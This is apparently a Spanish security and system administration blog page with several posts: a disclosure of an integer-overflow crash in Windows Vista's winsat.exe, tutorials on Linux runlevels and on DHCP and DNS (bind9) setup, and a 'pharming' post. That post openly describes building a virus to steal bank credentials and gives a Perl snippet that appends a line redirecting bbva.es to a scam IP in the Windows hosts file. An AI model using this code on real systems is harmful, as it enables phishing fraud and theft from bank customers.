Acceder CPanel Acceder WHM Acceder webmail

Agujero de seguridad en vista, y Microsoft hace trampas

No es ningún secreto que Microsoft, la empresa que desarrolla Windows, es muy amiga del juego sucio, las trampas, las mentiras, y el engaño, ha llegado a tal punto, que la empresa recibe multas por sus prácticas, que rozan lo criminal y que están muy lejos de la ética y la competencia libre.

Sin embargo, todo esto parece algo lejano hasta que lo vives en tus propias carnes, el como una empresa como esta, con su poder, extiende su brazo para tapar lo que les interesa… y creedme, es frustrante.

La historia comienza cuando hace un par de semanas, tuve que instalarme Windows Vista para pasar una aplicación en python a windows (había algunas ligeras diferencias entre el código para windows y el de linux, y yo me encargaba de corregirlas), entre programar y programar, me pongo a echarle un vistazo al vista, me estudio un poco como van sus capas de seguridad, el UAC, todo esto nuevo de lo que Microsft habla tanto.

Al cabo de un rato de estudiarmelo, leo en meneame un noticia un tanto curiosa que habla sobre un programa que viene incluido en vista, y que permite realizar tests sobre la potencia del hardware de tu sistema (benchmarking), el caso es que me pongo a jugar con ella, cuando veo que la noticia habla sobre un comando, así:

winsat d3d -texshader -totalobj 15

lo cual crea un efecto 3d para testear tu gráfica, con tantas figuras como especifiques tras el -totalobj.

Nada mas ver el argumento, me imaginé que el programador habría utilizado un signed int (un entero que usa el bit mas significativo para la parte negativa, por lo que su tamaño es de la mitad que 2^32) para almacenar el parametro -totalobj, por lo que si pedimos un número suficientemente largo, sobrepasamos la mitad positiva del número y pasamos a la negativa, o incluso, si pasamos 2^32+1 el número valdrá 0. Todo esto está ya mas que estudiado en seguridad y se llama Integer Overflow.

Así que hice la prueba:

winsat d3d -texshader -totalobj 2147483648
Esto dejaría al signed int en negativo, y si alguien hace la prueba verá que con eso, winsat.exe se detiene y peta (lo que en linux sería una violación de segmento).

Llegados a este punto, ya sabemos con total certeza, que existe un agujero de seguridad en esa aplicación, además, la guinda del pastel viene en que esa aplicación pide privilegios de administrador para ejecutarse, por lo que si esto llegase a ser explotable, y pudiésemos ejecutar código a partir de esta aplicación, podríamos utilizar esto para elevar privilegios desde nuestra aplicación, ya que si nuestra aplicación pide privilegios de administrador, lo mas probable es que cuando el user lea que una aplicación pide privilegios, diga que no (un user educado), sin embargo, si nuestra aplicación ejecuta a winsat.exe y de ahí, ejecuta código, es winsat.exe, firmado por Microsoft y alojado en system32, quien pide los privilegios, esto cambia mucho el asunto.

Dejando a un lado hasta donde llega esta vulnerabilidad, decidí contactar con Microsoft para que la solucionasen, primero me contestaron con muy buenas palabras, hasta que llega un mail un poco mas raro:

Hello Jose,Thank you for your report. To follow up I am wondering what about this crash indicates to you that it is exploitable. Have you been able to obtain an elevation of privilege, code execution, etc.?

Thank you,

Nate
Me pedían a mi, que les explicase como explotarlo, es decir, ellos no sabían muy bien por donde cogerlo.

Tras un par de correos mas, Microsoft deja de dar señales de vida, y me decido a enviar el agujero de seguridad, a la principal lista de correo de seguridad informática: securityfocus bugtraq, donde misteriosamente, ya casi no se reciben bugs de productos Microsoft, comparado con hace un año.

Al poco rato de enviar el siguiente texto:

From: jose@eyeos.org
To: bugtraq@securityfocus.com
Date: 28 Mar 2008 19:10:39 -0000
Subject: Microsoft Windows Vista winsat.exe Integer Overflow
Title: Windows Vista winsat.exe Integer OverflowDiscovered by: Jose Carlos Norte (jose@eyeos.org)

Vendor Status: notified on 24-03-08, MSRC start to work on a solution, but give no answer in 4 days.

There is a flaw in windows vista benchmarking tool, called winsat.exe, that runs withs administrative privileges.

The problem, is an integer overflow in -totalobj argument, example:

winsat d3d -texshader -totalobj 2147483648

this result in a overflow of the signed int that stores the totalobj argument, and turns it negative, and then, the program crashes.

I’m not sure if you can control some memory using other options in winsat.exe arguments to take advantage of this issue, and exploit it.

Me contesta un moderador de la lista, diciendome que NO ACEPTAN mi correo, argumentando lo siguiente:

WinSAT requires administrator privileges to run. If the user does not
have administrator privileges, WinSAT will display a dialog box that
asks for credentials

Evidentemente, se olvidan de mencionar que la gran ventaja maravillosa de Windows Vista es que ya no corren las cosas como administrador, por defecto, sin embargo, este tipo de bugs, revive viejos problemas en Windows, pero eso no importa.

Lo mas irónico de la historia es que hace algún tiempo en estas listas de seguridad solo se ven bugs en productos de software libre o productos de terceros, pero cada vez menos, en productos Microsoft.

Además, el mismo moderador aceptó como bugs válidos, este bug, quees totalmente FUD, que lo que insinua es que si puedes acceder a la memoria del proceso xchat, estando en local y con acceso al sistema, puedes pillar datos sensible de tu propio usuario, y este otro,que tal como se ve en las respuestas, directamente: es falso.

La pregunta que queda en el aire es: ¿hay un doble rasero en las listas de seguridad, es decir, hay censura según quien sea el afectado por el bug, o cuanto dinero tenga para taparlo?

Autor | Jose Carlos Norte


Publicado en: Seguridad, Windows
Tags: , ,
Reacciones con otros blogs:  ¡Click!
Marcadores sociales: Compártelo

Pharming, nueva técnica de fraude

Hoy me gustaría hablarles del pharming, principalmente de su uso y abuso.
Es una vulnerabilidad que reside en los servidores DNS, aquellos servidores que transforman URLs a IPs. La vulnerabilidad tiene varios usos y muchos de ellos son fines no legales, como puede ser el Phising, una de las prioridades de esta vulnerabilidad.

Más que nada quiero enfocar este texto al uso práctico de virus creados para el robo de credenciales.

#Hosts.

En todos los sistemas operativos, ya sean de particulares o empresas poseen un archivo llamado ‘hosts’ en el se encuentran las URLs y las IPs a las que se dirigen.
Si nosotros podemos escribir en ese archivo ‘hosts’ podríamos hacer que al entrar a google.com fuera a www.performsec.com. Veamos un ejemplo:

127.0.0.1 localhost

Esto quiere decir que localhost se resuelve como 127.0.0.1, es por ello por lo que cuando ponemos localhost en nuestro navegador nos dirigimos a nuestra máquina.

#Rutas.

# Windows 95/98/Me: C:\Windows\Hosts
# Windows NT/2000: C:\WINNT\System32\drivers\etc
# Windows XP: C:\WINDOWS\system32\drivers\etc
# Windows 2003: C:\WINDOWS\system32\drivers\etc
# Windows Vista: C:\WINDOWS\system32\drivers\etc
# Unix (en general): /etc/hosts
# Linux (en general): /etc/hosts
# MacOS (en general): /etc/hosts

En esos directorios se encuetra un archivo llamado ‘hosts’. El cual podemos modificar a nuestro gusto.

#Code.

Si queremos crear un virus dedicado al robo de credenciales bancarias el uso de la técnica Pharming nos dará muchos resultados. Imaginemos que tenemos un Scam del ‘Banco BBVA’ en la IP = 85.235.65.99 y qeremos que la víctima que a sido infectada por el virus al entrar a la web oficial del ‘Banco BBVA’, redireccione a nuestro Scam. Para eso haríamos esto:

85.235.65.99 bbva.es

La programación del virus:

my $mensaje = "85.235.65.99 bbva.es";$dir = ' C:\WINDOWS\system32\drivers\etc\hosts ';

open (HOSTS, ">>$dir");

print HOSTS $mensaje;


Publicado en: Fraude, Seguridad
Tags: , ,
Reacciones con otros blogs:  ¡Click!
Marcadores sociales: Compártelo

Niveles de ejecución de inicio Linux

Como hemos estado estudiando asta ahora sobre Linux, configuración de DNS y DHCP, veremos que cada vez que reniciamos nuestro sistema tenemos que arrancar otra vez los servicios con init.d, para evitar este trabajo voy a explicar los niveles de ejecución en linux:

Nivel 0 (Halt)
Nivel 1 (monousuario)
Nivel 2 (multiusuario sin red)
Nivel 3 (multiusuario con red)
Nivel 4 (pruebas)
Nivel 5 (multiusuario con red y modo grafico)
Nivel 6 (reboot)

En función del nivel de ejecución existe la posibilidad de configurar los servicios que deben iniciarse de forma automática, para ello es necesario crear unos enlaces simbólicos en las carpetas /etc/rcX.d (donde x es un numero del 0 al 6 que indica el nivel de ejecución de Linux) que apunten al script de inicio del servicio que se encuentra en /etc/init.d. Dicho enlaces deberán tener un nombre un poco especial ya que deberán comenzar por la letra S de Start, seguida de un numero de dos cifras (para establecer el orden de arranque de los servicios) y del nombre del servicio, por ejemplo en nuestro caso el de S20dchp y de S18bind, los números se refieren a la prioridad por ello a d.C. le asignamos un numero superior a bind (DNS), porque hay que ejecutar el servicio DHCP antes que el servicio DNS. Si lo que nos interesa es que el servicio no arranque la primera letra deberá ser una K de Kill.

Estos enlaces se pueden crear con la orden:

# update-rc.d

Y así si queremos que le servicio samba se arranque cuando el servidor inicia en los niveles 3,4 y 5 y no arranque cuando inicia en los niveles 1,2 y 6, ejecutaremos la siguiente orden (importante no olvidar le punto final):

# update-rc.d samba start 20 3 4 5 .

Y para que no arranque en lo otros niveles:

# update-rc.d samba start 20 3 4 5 . stop 18 1 2 6 .

De esta forma se crearan enlaces simbólicos de arranque con el nombre S20 samba en este caso, en las carpetas:

/etc/rd3.d
/etc/rd4.d
/etc/rd5.d

El numero 20 indica la prioridad como mencionamos antes. Sirve para arrancar o parar antes unos servicios que otros, ya que los scripts se procesan por orden alfabético. Se puede utilizar cualquier número entre 1 y 99.

Si por alguna razón el comando # update-rc.d no crea los enlaces porque ya están creados se pueden eliminar con la opción –f y luego volver a crearlos:

# update-rc.d –f samba remove

Bueno asta ahora estabamos trabajando sobre Linux, proximamente vamos a trabajar todas estas variantes sobre Windows 2003 server. Y a continuación volveremos sobre Linux con apache y sus variantes.


Publicado en: Linux
Tags: ,
Reacciones con otros blogs:  ¡Click!
Marcadores sociales: Compártelo

Configuracion del servicio DHCP en Linux

En este caso el escenario donde vamos a configurar nuestro servidor DHCP es Debian. La asignación de direcciones IP puede ser manual o estática, automatica o dinamica. Recordemos que en el caso de la asignación estática (con reserva):

-El servidor averigua la direccion MAC de la tarjeta de red.
-El servidor asigna siempre la misma direccion IP a la misma tarjeta de red.
rve
En el caso de la asignación automatica, el servidor asigna una direccion IP de forma permanente a una maquina la primera vez que lo solicita:

-Se especifica un rango de direcciones IP a asignar.
-En cada conexión la direccion IP de la maquina cliente puede cambiar dentro del rango especifico.

Antes de instalar el servidor hay que asegurarse de que el nucleo tiene instalado la opcion MULTICAST.

Esta opcion esta disponible siguiendo las siguientes opciones de menú de la aplicación de configuración del núcleo xconfig:

Device direvers / Networking support / Networking options / TCP/IP networking / IP: multicasting (IP_MULTICAST).

Multicast indica que el trafico se lleva a cabo desde uno a un grupo de equipos.

Es necesario activar la opcion Multicast para llevar a cabo la asignación de direcciones de multidifusion. Para ello se ejecuta:

# ifconfig –a

Y se comprueba que aparece, para la interfaz de red sobre la que se configura el servicio, una linea de la forma:

UP BROACAST RUNNING MULTICAST MTU:1500 Metric:1

Si no aparece multicast hay que recompilar el nucleo añadiendo la opcion IP: multicast routing.

La ultima version del servidor DHCP es dhcp3, instalamos el paquete:

# apt-get install dhcp3-server

La instalacion del paquete crea el archivo de configuración /etc/dhcp3/dchp.conf, que contiene la configuración del dominio asociado al servicio DCHP y crea el ejecutable /usr/sbin/dhcpd.

El paso siguiente sera lanzar el servicio DHCP con la orden:

# /etc/init.d/dhcp3-server start

Al arrancar el servidor, se crea el archivo de las concesiones o contratos (leases) cuyo contenido (entre otros campos) es la direccion MAC del cliente y las fechas iniciales y final de la concesión. Este archivo /var/lib/dhcp3/d.C..leases no debe modificarse nunca de forma manual. Su contenido se actualiza de forma automática cuando se asigan, modifica o termina la concesión.

La orden siguiente permite visualizar el contenido de dicho archivo:

# more /var/lib/dhcp3/dhcpd.leases

Este archive va creciendo y se genera un archive dhcpd.leases copia del anterior y el original queda libre para almacenar nuevas concesiones.

Una vez lanzado el servidor DHCP, si se quiere comprobar el funcionamiento correctamente hay que ejecutar:

# /user/sbin/dhcpd3 –d –f

La salida generada por esta orden muestra información acerca de las concesiones, declaraciones subset existentes y pruebas de funcionamiento.

A demás, si queremos que el servicio DHCP arranca la iniciar sistema hay que incluir un enlace simbolico /etc/init.d/dhcp3-server en el directorio /etc/rcX.d/ correspondiente al nivel de ejecución (X) en el que arranca el sistema por defecto.

Archivo de configuración /etc/dhcp3/dhcpd.conf

-Parámetros: describen el comportamiento del servidor DHCP. Pueden ser parámetros globales o locales a un conjunto de declaraciones.
-Declaraciones: se utilizan para describir redes, maquinas junto con otro rango de direcciones IP que se conceden para cada uno de ellos.

La estructura general del archivo /etc/dhcp3/dhcp.config es la siguiente:

Páramentro globales;
Declaracion_1 {
[parámetros relativos a Declaracion_1]
[sub_declaracion anidada]
}
Declaracion_2 {
[paramentros relativos a declaracion_2]
[sub_declaracion aninada]
}

Hay parámetros que comienzan con la palabra reservada option y otros que no. Los que comienza con el parámetro option describen datos que proporciona el servidor al cliente y que forman parte del protocolo. Los que comienzan con option describen las características del servidor DHCP.

Estos parámetros tienen esta estructura:

[option] <nombre_paramentro> [valores];

El parámetro valores depende del parámetro que se quiere configurar. Puede ser un valor lógico (on/off), una dirección, un nombre predefinido u otro valor según el tipo de parámetro.

En este archivo también se definen las subredes en las que actúa el servidor DHCP y que rangos de direcciones les puede asignar.

Ejemplo:

One-lease-per-client on;
Ser-identifier 192.168.1.1;
Default-lease-time 86400;
Max-lease-time 86400;
Option subnet-mask 255.255.255.0;
Option broadcast-address 192.168.1.255;
Option routers 192.168.1.1;
Option domain-name-servers 192.168.1.1;
Option domain-name “performsec.com”;
Ddns-update-style none;
Subnet 192.168.1.0 netmask 255.255.255.0
{ range 192.168.1.5 192.168.1.50;
}

En este ejemplo se utilizan los parametros DHCP mas habituales, puedes buscar en google un monton de información sobre los parámetros y que son.

Dentro de las declaraciones del archivo de configuración ejemplo aparece la declaración subset que se utiliza para aplicar un conjunto de parámetros y/o declaraciones a un conjunto de direcciones que coincidan con los datos de la declaración. La estructura general de subnet es:

Subnet IP_subred netmask máscara {
[parametros]
[sub_declaraciones]
}

Ahora les maestro un ejemplo practico de subnet en la que utilizamos la declaración range para asignación dinámica. Con range se establece un rango de direcciones IP válidas a asignar a los cliente.

Subnet 192.168.1.0 netmask 255.255.255.0 {
Range 192.168.1.5 192.168.1.50;
}

Los rangos de valores deben ser consecutivos y dentro de la misma subred. Se puede utilizar una descripción de subred mas simple si solo se tiene un rango de valores y ningún parámetro añadido:

Subnet 192.168.1.0 netmask 255.255.255.0
Range 192.168.1.5 192.168.1.50;

Ejemplo:

Subnet 192.168.1.0 netmask 255.255.255.0
{ range 192.168.1.5 192.168.1.50;
}
Host pc2 {
Option host-name “pc2.performsec.com”;
Hardware Ethernet
00:50:b3:c8:20:31;
Fixed-address 192.168.1.2;
}
Group {
Option routers 192.168.1.1;
Option subnet-mask 255.255.255.0;
Option domain-name “performsec.com”;
Host pc3 {
Option host-name
“pc3.performsec.com”;
Hadware Ethernet
00:E0:45:8E:9A:AA;
Fixed-address 192.168.1.3;
} }

En este ejemplo se incluyen posibles lineaas del archive de configuracion de DHCP, pero que no constituyen una configuracion real en si misma.

# > Configuración del cliente DHCP

Para finalizar, configuramos el cliente para que, en la secuencia de arranque de la máquina, negocie con el servidor DHCP y éste le proporcione una dirección IP válida. El cliente DHCP utiliza el demonio dhcpcd para obtener la información que circula por la red enviada por el servidor DHCP remoto.

Hay que instalar el paquete correspondiente de Debian GNU/Linux:

# apt-get install dhcp3-client

Para configurar el cliente de forma manual hay que seguir una de las siguientes opciones:

1. en modo gráfico: comprobar que la interfaz de red está habilitada. Desde el entorno gráfico vamos:

Aplicaciones / Herramientas del Sistema / Red / Pestaña conexiones / Seleccionar dispositivo. Propiedades

Y activar la opción configuración de la conexión: Automático (DHCP).

2. En modo línea de orden: editar el archivo /etc/network/interfaces y modificar las líneas correspondientes:

Iface eth0 inet d.C.

A continuación, comentar con el carácter (#) las líneas que contienen las variables IPADDR, NETMASK, NETWORK y BROADCAST que sólo son necesarias cuando la asignación de IP es estática.

Para verificar la dirección asignada al cliente ejecuta la orden:

# arp –an


Publicado en: Linux, Servidores
Tags: , ,
Reacciones con otros blogs:  ¡Click!
Marcadores sociales: Compártelo

Servicio DNS en Linux

# > Servicio DNS

Servidor de nombres autoritario.

Un servidor de nombres de dominio DNS autoritario para una zona como aquel que contiene los registros de recursos para dicha zona. Para ello se utilizan los registros de recursos SOA y NS.
Cada zona puede tener uno o mas servidores de nombre de dominio autoritarios, y uno de ellos debe ser secundario o caché.

-Primario: los registros de recursos para la zona se encuentran en los archivos de la zona que estan almacenados en el sistema del propio servidor DNS.

-Secundario: los registros de recursos de la zona se cargan desde otro servidor de nombres (primario) utilizando el proceso de transferencia de zona.

Base de datos del protocolo DNS

Cada servidor de nombres de dominio mantiene una base de datos que sirva para asociar los nombres de dominios con direcciones IP llamada archivos de la zona, y una base de datos de resolucion inversa llamada archivos de resolucion inversa de la zona. El formato de estas bases de datos es de archivos de texto.

Para resolver nombres los servidores DNS consultan las zonas, las cuales contienen los registros de recursos (RR) que describen la información relativa al dominio DNS. Por ejemplo, hay registros de recursos que asignan nombres descriptivos a direcciones IP.

El formato de cada registro de recursos es:

Propietario TTL Clase Tipo RDATA

Los principales tipos de registros de recursos son:

SOA (inicio de autoridad), identifica al servidor autoritario de una zona y sus parámetros de configuración, registro SOA:

performsec.com. IN SOA servidor.performsec.com.
( 2005051701 ; numero de serie
10800 ; actualizacion1. ; reintentos604800 ; caducidad
86400 ; valor TTL
)

NS (servidor de nombres), identifica servidores de nombres autorizados para una zona, un ejemplo de este servicio:

performsec.com. IN NS servidor.performsec.com.

A (direccion), asocial un nombre de dominio FQDN con una dirección IP, por ejemplo, el registro A siguiente asigna una dirección IP a la maquina pc2:

Pc2.performsec.com. IN A 192.168.1.2

PTR (puntero), asigna una direccion IP a un nombre de dominio completamente cualificado. Para las busquedas inversas:

2.1.168.192.in-addr.arpa IN PTR pc2.performsec.com.

In-addr significa (inverse address) direccion inverse y arpa porque en un principio Internet se llamo ARPANET.

MX (registro de correo), indica maquinas encargadas de ka entrega de correo en el dominio:

performsec.com. IN MX 0 mail.performsec.com.

CNAME (nombre canónico), permite asignar uno o mas nombres a una maquina.

TXT (text), almacena cualquier información.

SRV (servicio), ubicación de los servidores para un servicio, ejemplo de registro SRV para un servidor web del dominio performsec.com.:

http.tcp.performsec.com. IN SRV 0 0 80 www.performsec.com.

Configuración de un servidor DNS en Debian GNU/Linux.

La configuración de un servidor DNS en Debian requiere la instalacion de los paquetes siguiente (como root):

# apt-get install bind9 bind9-doc dnsutils

El servicio DNS esta compuesto por dos programas:

-El denominado named: es el servidor de nombres de dominio.
-El resolver (cliente): es el que genera las peticiones.

Antes de editar y manipular cualquier archivo de configuración de cualquier herramienta o servicio hay que hacer una copia de seguridad del mismo.Se pueden copiar con el mismo nombre y añadir la final del texto origen. Por ejemplo:

# cp /etc/bin/named.conf.local /etc/bind/named.conf.local.origen

El archivo de configuración del dominio named se encuentra en /etc/bind/ y se llama named.conf. En este mismo directorio se encuentra el resto de archivos de configuración relaciones con bind.

El archivo named.conf no se suele modificar. Las zonas especificas del servidor DNS que se configura se definen en /etc/bind/named.conf.local y se incluyen al final de este archivo con un “incluye”.

El directorio de trabajo de named es /var/cache/bind/.

Para lanzar el servicio debe ejecutarse la orden siguiente:

# /etc/init.d/bind9 start

Y el proceso dominio que se lanza es el named.

Los archivos de configuración implicados son named.config, /etc/bind/named.conf.local, db.performsec.com y db.192.168.1.

Named.conf almacena la configuración de las diferentes zonas generadas por defecto en el momento de la instalación, entre ellas la correspondiente a la interfaz local o loopback para el dominio arpa llamada 0.0.127.in-addr.arpa.

Por otro lado tenemos, /etc/bind/named.conf.local contiene información especifica de las zonas de resolución directa e inversa para el servidor DNS, eliminado la información no especifica. Este archivo contiene lo siguiente:

/* Resolucion normal */
Zone “performsec.com” {
Type master;
Allow-query { 127.0.0.1; 192.168.1.1/24; };
Allow-transfer {127.0.0.1; 192.168.1.1/24; };
File “/etc/bind/bd.performsec.com”;
};
/* Resolucion inversa */
Zone “1.168.192.in-addr.arpa” {
Type-master;
Allow-query { 127.0.0.1.; 192.168.1.1/24; };
Allow-transfer {127.0.0.1; 192.168.1.1/24; };
File “/etc/bind/db.192.168.1”;
};

En el codigo anterior se incluyen opciones de seguridad, cuyo significado se explica a continuación:

-allow-tranfer: restringe las transferencias de zona.
-allow-query: deja activas, unica y exclusivamente, la consultas internas y a la maquina local.

Es muy importante que siempre que se coloque un nombre de dominio completo, este finalice con un punto ya que, de no ponerse, su interpretación real será la concatenación con el origen.

El archivo de configuración db.performsec.com almacena información de la zona performsec.com. a definir.

En el caso del servidor DNS para el dominio definido en el aula, su contenido (/etc/bind/db.performsec.com) es el siguiente:

$TTL 10800
DOM.com. IN SOA servidor.performsec.com.
(1 ;
10800 ; 3 horas
900 ; 15 minutos
604800 ; 1 semana
86400 ; 1 dia
DOM.com. IN A 192.168.1.1
DOM.com. IN NS servidor.performsec.com.
; servidores
Servidor IN A 192.168.1.1
; servidor de impression
Cups IN CNAME servidor
; servidor web
www IN CNAME servidor
; estaciones
Pc2 IN A 192.168.1.2
Pc3 IN A 192.168.1.3
Grupo2INCNAME pc2
; grupo2 es un alias de pc2
; incluir el resto de equipos de la red

El archivo de configuración db.192.168.1 contiene los punteros de nombre de dominio PTR que indican al servidor que el equipo con direccion 2, por ejemplo, es el que se llama pc2.performsec.com. Para el servidor DNS configurado su dominio (/etc/bind/db.192.168.1) es el siguiente:

$TTL 10800
performsec.com. IN SOA performsec.com.
( 1 ;
10800 ;
900 ;
604800 ;
86400 ; )
DOM.com IN NS servidor.performsec.com.
; puerta de enlace
1 IN PTR gateway.performsec.com.
; servidores internos
1 IN PTR servidores.performsec.com.
; estaciones
2 IN PTR pc2.performsec.com.
3 IN PTR pc3.performsec.com.
; incluir el resto de maquinas

Llegando a este punto es importante hacer dos observaciones:

1. Los alias definidos en el DNS nunca deben aparecer en la parte derecha de un registro, en la zona correspondiente a los datos.
2. Cuando el servidor de DNS trata de resolver un nombre y encuentra que este en un alias, ya que tiene un registro CNAME asociado, sustituye el alias por su nombre canónico y devuelve las direcciones IP indicadas para éste.

Una vez configurado el servidor DNS, y para comprobar que esta atendiendo a las peticiones que le llegan, conviene ejecutar las dos ordenes siguientes: la primera relanza el servicio (si se han hecho modificaciones) y la segunda comprueba que atiende peticiones de resolución de nombres.

Servidor:/etc/bind# /etc/init.d/bind9 restart
Servidor:/etc/bind# dig any servidor.performsec.com
; <<>> DIG 9.2.4 <<>> any
Servidores.performsec.com
; ; global options: pintcmd
; ; got answer:
; ; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13046
; ; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
; ; QUESTION SECTION:
;servidor.performsec.com. IN ANY; ; ANSWER SECTION:
Servidor.performsec.com. 10800 IN A 192.168.1.1; ; AUTHORITY SECTION:
performsec.com. 10800 IN NS servidor.performsec.com.

; ; Query time: 1 msec
; ; SERVER: 192.168.1.1#53 (192.168.1.1)
; ; WHEN: Thu January 1 00:00:01 2008
; ; MSG SIZE rcvd: 68

Hay que observar que en la ejecución el estado del servidor DNS sea NOERROR, lo cual indica que el servidor está atendiendo peticiones de resolución de nombres.

Para comprobar el funcionamiento de la resolución inversa, ejecutar la orden siguiente:

# host 127.0.0.1
1.0.0.127.in-addr.arpa domain name pointer localhost.

Para analizar posibles fallos en el funcionamiento del servidor DNS conviene visualizar el contenido del archive de logs /var/log/syslog. Ejecutando las órdenes:

# /etc/init.d/bind9 restart
# trail –f /var/log/syslog

Se pueden observer las lineas de arranque del demonio named y los posibles conflictos y/o errores de configuración.

# > Configuración del cliente Debian GNU/Linux

El cliente del servicio DNS se llama resolver. El “resolvedor” (resolver) es parte de una biblioteca de funciones (similares a las rutinas) de C que se enlazan a otros programas que necesitan utilizarlas para consultar un servidor DNS. Esto se realiza de forma transparante para el usuario.

Las tareas de resolver son:

1. Interrogar al servidor de nombres.
2. Interpretar respuestas ( que pueden ser registros RR o errores).
3. Devolver información al programa que la solicita.

El resolver de GNU/Linux posee una configuración muy sencilla que se realiza a traves del archivo /atc/resolv.conf.

El archivo /etc/resolv.conf consta de un conjunto de directivas o atributos con la sintaxis siguiente:

<atributo> <valor1> <valor2> … <valorN>

Los atributos pueden ser nameserver, domain, search y options.

Nameserver indica la dirección IP de los servidores de DNS, cada uno a través de una directiva diferente. El numero máximo de servidores de nombres de dominio esta especificado en el archivo /usr/incluye/resolv.h a través de la constante MAXNS cuyo valor por defecto es de tres. Ejemplo de atributo nameserver en /etc/resolv.conf:

Nameserver 192.168.1.1 127.0.0.1

El atributo domain indica el dominio por defecto:

Domain performsec.com

Si no existe esta linea en el archivo /etc/resolv.conf y la maquina local se llama servidor.performsec.com, se toma por defecto, como nombre de dominio, a partir del primer punto hacia la derecha (performsec.com).

Search especifica la lista de dominios donde se harán las consultas:

Search performsec.com

Las directivas domain y search son mutuamente excluyentes, es decir la ultima que se indica sobrescribe a la anterior.

Options permite modificar el valor de algunos atributos internos del resolver, Se expresa de la forma:

Options <opcion1> <opcion2> … <opcionN>

Ejemplo del archivo ya configurado /etc/resolv.cof

Search performsec.com
Nameserver 192.168.1.1 127.0.0.1
Options debug timeout:10

Por ultimo, en el archive /etc/host.conf se define el orden de busquea de informacion:

#primero que utilice bind, es decir en el
# servidor, DNS y si falla que busque en /etc/host.
Orden bind, host
Multi on

La opción multi puede estar en on o en off. Si esta en on el resolver devuelve todas las direcciones IP validas para una maquina que aparecen en el archivo /etc/hosts. Si esta en off (valor por defecto) solo devuelve la primera.

Para comprobar que se esta resolviendo nombres, ejecutar la orden ping sobre el nombre del equipo:

# ping servidor
# ping servidor.performsec.com

Si todo esta bien configurado deberá responder sin problema. Tambien se puede comprobar ejecutando:

# nslookup servidor.performsec.com

Si no responde el ping con “servidor”, pero si con “servidor.performsec.com” habrá que revisar el archivo /etc/resolv.conf y comprobar si están simultáneamente las opciones search y domain.


Publicado en: Linux, Servidores
Tags: , ,
Reacciones con otros blogs:  ¡Click!
Marcadores sociales: Compártelo